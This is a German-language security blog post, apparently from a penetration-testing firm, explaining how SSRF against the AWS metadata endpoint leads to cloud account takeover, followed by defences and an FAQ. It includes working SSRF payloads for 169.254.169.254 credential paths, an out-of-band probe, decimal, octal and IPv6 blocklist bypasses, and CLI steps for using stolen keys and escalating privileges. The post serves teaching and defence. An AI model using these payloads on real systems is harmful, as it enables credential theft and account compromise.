Von SSRF zur Cloud-Kontoübernahme: Angriff auf den Metadatendienst

Geben Sie uns eine Webanwendung, die eine von Ihnen kontrollierte URL abruft – einen Avatar-Import, einen Webhook-Tester, einen “aus diesem Link ein PDF erzeugen”-Button – und das Erste, was wir versuchen, ist eine SSRF-Abfrage des Cloud-Metadatendienstes. Die Zieladresse ändert sich von Projekt zu Projekt kaum: die Link-Local-Adresse 169.254.169.254, wo AWS (und, über leicht abweichende Pfade, GCP und Azure) einen Instanz-Metadatendienst betreibt, der der Arbeitslast temporäre IAM-Anmeldedaten aushändigt.

Diese eine Anfrage ist das ganze Spiel. Ein Befund, der sich liest wie “der Server hat einen ausgehenden Aufruf gemacht, den er nicht hätte machen dürfen”, wird still und leise zu “der Server hat uns seine Cloud-Identität überlassen”. Wir haben erlebt, wie ein reiner Lese-Bildproxy zum Brückenkopf wurde, der S3-Buckets auslas und andere Rollen aufzählte. Server-Side Request Forgery ist CWE-918, und auf einem Cloud-Host ist sie fast nie nur eine informative Randnotiz im Bericht.

Diese Anleitung folgt der gesamten Kette: wie aus einer gewöhnlichen Funktion SSRF wird, wie die Anfrage am Metadaten-Endpunkt landet, warum IMDSv1 gegenüber IMDSv2 entscheidet, ob der Angriff funktioniert, und wie gestohlene Anmeldedaten Richtung Kontoübernahme klettern. Danach die Abwehrmaßnahmen, die im Test tatsächlich standhalten.

Die wichtigsten Erkenntnisse

• SSRF (CWE-918) bringt einen Server dazu, HTTP-Anfragen an Ziele zu senden, die der Angreifer wählt – einschließlich interner Adressen, die die Anwendung erreichen kann, das öffentliche Internet aber nicht.
• Der Preis auf einem Cloud-Host ist der Metadaten-Endpunkt unter 169.254.169.254. Auf AWS EC2 mit IMDSv1 liefert er temporäre IAM-Rollen-Anmeldedaten über einfaches HTTP ohne jede Authentifizierung.
• Diese Anmeldedaten lassen sich direkt in die AWS CLI oder ein SDK einsetzen. Ist die Instanzrolle überberechtigt, eskaliert der Fehler zu Datendiebstahl, lateraler Bewegung und Kontoübernahme.
• IMDSv2 verlangt ein per PUT ausgestelltes Session-Token und erzwingt ein Hop-Limit, was die meisten naiven SSRF-auf-Metadaten-Versuche unterbindet. Es zu erzwingen – also IMDSv1 zu deaktivieren – ist die einzelne Maßnahme mit der größten Wirkung.
• Schichten Sie den Rest darüber: Egress-Allowlists, das Blockieren von Link-Local- und RFC-1918-Bereichen, das erneute Auflösen von URLs nach jeder Weiterleitung und Instanzrollen nach dem Least-Privilege-Prinzip.

Was ist SSRF, und warum macht die Cloud es schlimmer?

SSRF ist eine Schwachstelle, bei der eine Anwendung eine URL oder einen Hostnamen als Eingabe akzeptiert und serverseitig eine Anfrage dorthin stellt – womit ein Angreifer diese Anfrage irgendwohin lenken kann, wohin sie nie gehen sollte. Der Browser ist außen vor. Stattdessen macht der verwundbare Server den Aufruf, von innerhalb der Vertrauensgrenze, an der Perimeter-Firewall vorbei, mit welchem internen Netzzugang der Host auch immer verfügt.

Auf einer schlichten Maschine ist das bereits schlimm: interne Admin-Oberflächen, eine nicht authentifizierte Redis- oder Elasticsearch-Instanz, ein schneller Rundumschlag durch das interne Subnetz. Die Cloud erhöht den Einsatz aus einem ganz bestimmten Grund. Jeder große Anbieter betreibt einen Metadatendienst unter derselben magischen Link-Local-Adresse, 169.254.169.254, erreichbar nur von der Instanz selbst, und seine einzige Aufgabe ist es, dem dort laufenden Code Geheimnisse auszuhändigen. Bringen Sie die Anwendung dazu, ihn anzufragen, und der Angreifer erbt die Identität der Instanz.

Wie wird aus einer normalen Funktion SSRF?

Die verwundbare Funktion ist meist eine, die das Produktteam mit einigem Stolz ausgeliefert hat. Die wiederkehrenden Verdächtigen, die wir testen:

• URL-Fetcher und “aus Link importieren”: Profilbild-per-URL, “importiere deine Daten von dieser URL”, RSS- und Sitemap-Importer. Der Server dereferenziert alles, was Sie einfügen.
• Webhooks und Callback-Tester: “wir senden Events per POST an deinen Endpunkt, klick auf Test.” Dieser Test-Button feuert eine serverseitige Anfrage an einen Host, den Sie wählen.
• PDF- und Bild-Renderer: HTML-zu-PDF-Engines und Headless-Chrome-Screenshotter folgen <img>-, <iframe>– und CSS-url()-Verweisen. Richten Sie einen davon auf den Metadaten-Endpunkt, und die gerenderte Ausgabe kann die Antwort an Sie zurückspielen.
• Dokument- und SVG-Prozessoren: XML-Parser und SVG-Renderer lassen sich dazu verleiten, externe Ressourcen abzurufen – genau hier wird aus XXE still und leise SSRF.

Das verräterische Zeichen ist jeder Parameter, der letztlich zu einer ausgehenden Anfrage wird. Dieses Verhalten bestätigen wir zuerst mit einem Out-of-Band-Payload, meist Burp Collaborator oder einem selbst gehosteten interactsh, bevor wir irgendetwas Internes anfassen:

POST /api/avatar/import HTTP/1.1
Host: example.com
Content-Type: application/json

{"image_url":"http://abcd1234.oastify.com/ping"}

Wenn der Listener einen Treffer protokolliert, ruft der Server für uns URLs ab. Achten Sie darauf, ob es nur ein DNS-Lookup oder ein vollständiger HTTP-Callback war, denn ein reiner DNS-Treffer deutet manchmal auf eine Rendering-Pipeline hin, die auflöst, aber den Body nicht anzeigt. So oder so zielen wir jetzt auf etwas Interessantes.

Wie erreicht man den Metadaten-Endpunkt unter 169.254.169.254?

Sind ausgehende Anfragen bestätigt, tauschen wir den externen Host gegen die Link-Local-Metadatenadresse. Auf einer EC2-Instanz mit IMDSv1 fragt Schritt eins ab, welche Rolle angehängt ist:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254

Über den verwundbaren Parameter zugestellt, ist das schlicht:

{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

Die Antwort ist der Rollenname. Hängen Sie ihn an den Pfad an, und der Endpunkt liefert gültige Anmeldedaten:

GET /latest/meta-data/iam/security-credentials/example-app-role HTTP/1.1
Host: 169.254.169.254

{
  "Code": "Success",
  "AccessKeyId": "ASIAEXAMPLEKEY",
  "SecretAccessKey": "EXAMPLEsecret...",
  "Token": "IQoJb3JpZ2luX2VjE...",
  "Expiration": "2026-07-02T18:00:00Z"
}

Wenn ein Entwickler eine naive Blockliste drangeschraubt hat, kommen die klassischen Umgehungen zum Einsatz. Dezimal für dieselbe IP ist http://2852039166/, oktal ist http://0251.0376.0251.0376/, und eine IPv4-mapped-IPv6-Form ist http://[::ffff:169.254.169.254]/. Ein DNS-Name, der auf die Link-Local-Adresse auflöst, funktioniert ebenfalls. Unser Favorit in der Praxis ist ein Open Redirect auf einer erlaubten Domain: Die Anwendung prüft brav, dass die URL auf einen vertrauenswürdigen Host zeigt, folgt der 302 und landet trotzdem auf dem Metadaten-Endpunkt. Genau deshalb reicht es nicht, allein die anfängliche URL-Zeichenkette zu validieren.

Was ist der Unterschied zwischen IMDSv1 und IMDSv2?

Das ist der Unterschied zwischen mittel und kritisch. IMDSv1 ist ein schlichter Request-Response-Dienst: Jeder Prozess, der ein GET an 169.254.169.254 senden kann, bekommt eine Antwort. Kein Token, keine Session, keine Authentifizierung. Das ist exakt die Form eines einfachen SSRF – weshalb die beiden ein so gefährliches Paar sind.

IMDSv2 macht den Ablauf zustandsbehaftet. Der Client sendet zunächst ein PUT, um ein Token zu erhalten, und fügt dieses Token dann bei jedem folgenden GET als Header hinzu:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: <token-from-put>

Zwei Eigenschaften vereiteln hier die meisten SSRF. Erstens braucht es ein PUT, und viele SSRF-Primitive setzen nur GETs ab und können die Methode nicht steuern. Zweitens braucht es einen benutzerdefinierten Request-Header, den der verwundbare Fetcher nicht für Sie hinzufügt. IMDSv2 setzt außerdem ein Standard-Antwort-Hop-Limit von 1, sodass der Metadatendienst die Anfrage stillschweigend verwirft, wenn sie über auch nur einen zusätzlichen Netz-Hop weitergeleitet wurde. Was wir erzwungen sehen wollen, ist ein deaktiviertes IMDSv1, nicht bloß ein verfügbares IMDSv2.

Dass IMDSv2 verfügbar ist, ändert für sich genommen nichts. Wird IMDSv1 weiterhin akzeptiert, nutzt ein Angreifer einfach den älteren, tokenlosen Pfad. Die Einstellung, auf die es ankommt, ist HttpTokens = required.

Wie wird aus gestohlenem Anmeldedatenzugriff eine Kontoübernahme?

Die Anmeldedaten aus dem Metadatendienst sind gewöhnliche temporäre STS-Schlüssel: ein Access Key, ein Secret und ein Session-Token. Wir exportieren die drei und steuern die CLI als Instanzrolle:

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEKEY
export AWS_SECRET_ACCESS_KEY=EXAMPLEsecret...
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjE...
aws sts get-caller-identity

Von hier an ist der Wirkungsradius eine direkte Funktion dessen, was diese Rolle darf. Der erste Zug ist stille Aufklärung: welche Buckets, welche Secrets, welche anderen Rollen. Kann die Rolle Secrets Manager oder den SSM Parameter Store lesen, holen wir regelmäßig Datenbank-Passwörter und API-Schlüssel heraus, die weit mehr als die eine Instanz aufschließen. Trägt sie weitreichende IAM-Rechte – das Anti-Pattern, das wir viel zu oft sehen -, ist der Weg zur Übernahme kurz: eine Admin-Policy anhängen, einen frischen Access Key für einen privilegierten Benutzer erzeugen oder eine stärkere Rolle annehmen. Auf der Angreiferseite deckt sich das mit MITRE ATT&CK Unsecured Credentials (T1552) und der Wiederverwendung alternativen Authentifizierungsmaterials.

Die Lehre aus Jahren solcher Einsätze ist unmissverständlich. Der Schweregrad von SSRF wird von der Instanzrolle bestimmt, nicht vom Web-Fehler selbst. Eine eng zugeschnittene Rolle macht aus einem beängstigend wirkenden Befund einen eingegrenzten. Eine großzügige Rolle macht aus einem einzigen URL-Parameter einen Cloud-weiten Vorfall.

Wie verhindert man SSRF-auf-Metadaten-Angriffe?

Es gibt keinen einzelnen Schalter, deshalb empfehlen wir, die folgenden Kontrollen zu schichten. Jede einzelne lässt sich umgehen. Übereinandergestapelt machen sie die Kette wirklich schwer zu Ende zu bringen.

• IMDSv2 erzwingen und IMDSv1 deaktivieren. Setzen Sie HttpTokens auf jeder Instanz auf required und verankern Sie es in Launch-Templates und AMIs, damit neue Hosts es standardmäßig erben. Wo eine Arbeitslast nie Instanz-Metadaten benötigt, schalten Sie den Endpunkt ganz ab.
• Link-Local- und private Bereiche blockieren. Die Anwendung – oder ein Forward-Proxy, über den sie zwingend läuft – sollte Verbindungen zu 169.254.0.0/16, den RFC-1918-Bereichen (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) und Loopback verweigern. Tun Sie das auf der Netzwerkebene, nicht nur im Anwendungscode.
• Egress-Filterung mit Allowlists. Ausgehender Verkehr von App-Hosts sollte nur die Ziele erreichen, die eine Funktion legitim braucht. Ein URL-Fetcher, der nur je von einer Partner-API zieht, hat nichts an einer internen IP zu suchen.
• URLs validieren und erneut auflösen. Parsen Sie die URL, weisen Sie Nicht-HTTP-Schemata und ungewöhnliche Ports ab, lösen Sie den Hostnamen zu einer IP auf und prüfen Sie diese IP gegen Ihre Denylist, bevor Sie verbinden. Prüfen Sie nach jeder Weiterleitung erneut, damit eine 302 Sie nicht in den Metadatendienst führen kann. Das dämpft auch DNS-Rebinding.
• Instanzrollen nach Least Privilege. Schneiden Sie jede Rolle auf das zu, was ihre Arbeitslast tatsächlich nutzt, und auf nichts weiter. Das ist die Kontrolle, die den Schaden deckelt, wenn die anderen versagen.

Eine Warnung aus der Praxis: String-Blocklisten, die auf “169.254.169.254” matchen und es dabei belassen, scheitern ständig an Dezimal-, Oktal- und IPv6-Formen. Lösen Sie zu einer numerischen IP auf und vergleichen Sie gegen Bereiche, niemals gegen den wörtlichen Text.

Wie CyberXplore hilft

SSRF-auf-Metadaten ist einer der Standardpfade, die unsere Tester bei einem Cloud-Penetrationstest-Einsatz verfolgen. Wir üben die Funktion aus, die ausgehende Anfragen stellt, versuchen die vollständige Kette bis zum Metadatendienst und verfolgen dann, wie weit die gestohlenen Rollen-Anmeldedaten in Ihrem Konto tatsächlich reichen würden – damit Sie die echte geschäftliche Auswirkung bekommen statt eines Häkchens. Wenn Sie das gegen Ihre eigene Umgebung durchspielen lassen möchten, fordern Sie ein Angebot an, und wir stecken den Rahmen gemeinsam mit Ihnen ab.

FAQ

Ist SSRF noch ein reales Risiko, wenn ich in der Cloud mit einer Firewall laufe?

Ja. Eine Perimeter-Firewall bewirkt hier nichts, weil die bösartige Anfrage aus Ihrer eigenen Instanz stammt – genau dort, wo der Metadatendienst erreichbar ist. SSRF macht Ihren vertrauenswürdigen Server zum Proxy des Angreifers, sodass jede Kontrolle, die nur eingehenden Verkehr prüft, umgangen wird. Sie brauchen Egress-Kontrollen und ein erzwungenes IMDSv2, nicht nur eine eingehende Firewall.

Stoppt IMDSv2 SSRF vollständig daran, Anmeldedaten zu stehlen?

Es stoppt die große Mehrheit der realen Fälle, aber es ist nicht absolut. IMDSv2 vereitelt reines GET-SSRF und jede Anfrage, die einen zusätzlichen Hop überschreitet – was die meisten Fehler abdeckt, die wir finden. Ein sehr flexibles SSRF, das ein PUT absetzen und den erforderlichen benutzerdefinierten Header einschleusen kann, käme womöglich trotzdem durch – weshalb IMDSv2 neben Least-Privilege-Rollen und Egress-Filterung gehört, statt als einzige Kontrolle behandelt zu werden.

Was ist die Adresse 169.254.169.254, und warum taucht sie immer wieder auf?

Es ist die Link-Local-IP, über die Cloud-Anbieter ihren Instanz-Metadatendienst bereitstellen, erreichbar nur von der Instanz selbst. Auf AWS liefert sie EC2-Metadaten und, entscheidend, temporäre IAM-Rollen-Anmeldedaten. GCP und Azure stellen ähnliche Dienste unter dieser Adresse oder über Metadaten-Hostnamen bereit – was sie zum universellen ersten Ziel macht, sobald ein Angreifer SSRF auf einem Cloud-Host bestätigt hat.

Wie erkenne ich, ob eine Funktion verwundbar ist, bevor es ein Angreifer tut?

Achten Sie auf jede Eingabe, die zu einer serverseitigen ausgehenden Anfrage wird: URL-Importer, Webhooks, PDF- oder Bild-Renderer, Dokument-Parser. Testen Sie jede mit einem Out-of-Band-Listener wie Burp Collaborator oder interactsh. Erreicht der Server Ihren Listener, prüfen Sie, ob er auch interne und Link-Local-Adressen erreicht und ob er Weiterleitungen dorthin folgt. Genau dieses Verhalten sondieren wir in einem Penetrationstest.

Welche CWE und welche Standards decken dieses Problem ab?

Server-Side Request Forgery ist CWE-918, und sie hat mit A10 eine eigene Kategorie in den OWASP Top 10 (2021). Auf der Angreiferseite lässt sich das Ernten von Instanz-Anmeldedaten und deren Nutzung auf MITRE ATT&CK rund um Unsecured Credentials (T1552) und die Verwendung alternativen Authentifizierungsmaterials abbilden. Diese in einem Bericht zu zitieren hilft Teams, den Fix richtig einzustufen und zuzuweisen.

Was ist der einzelne wichtigste Fix?

Erzwingen Sie IMDSv2 mit deaktiviertem IMDSv1 auf jeder Instanz und schneiden Sie dann Ihre Instanzrollen auf Least Privilege zu. Die erste Änderung bricht die verbreitete SSRF-auf-Metadaten-Technik geradewegs. Die zweite sorgt dafür, dass selbst ein erfolgreicher Anmeldedatendiebstahl auf eine kleine, gut verstandene Menge an Berechtigungen begrenzt bleibt statt auf Ihr ganzes Konto.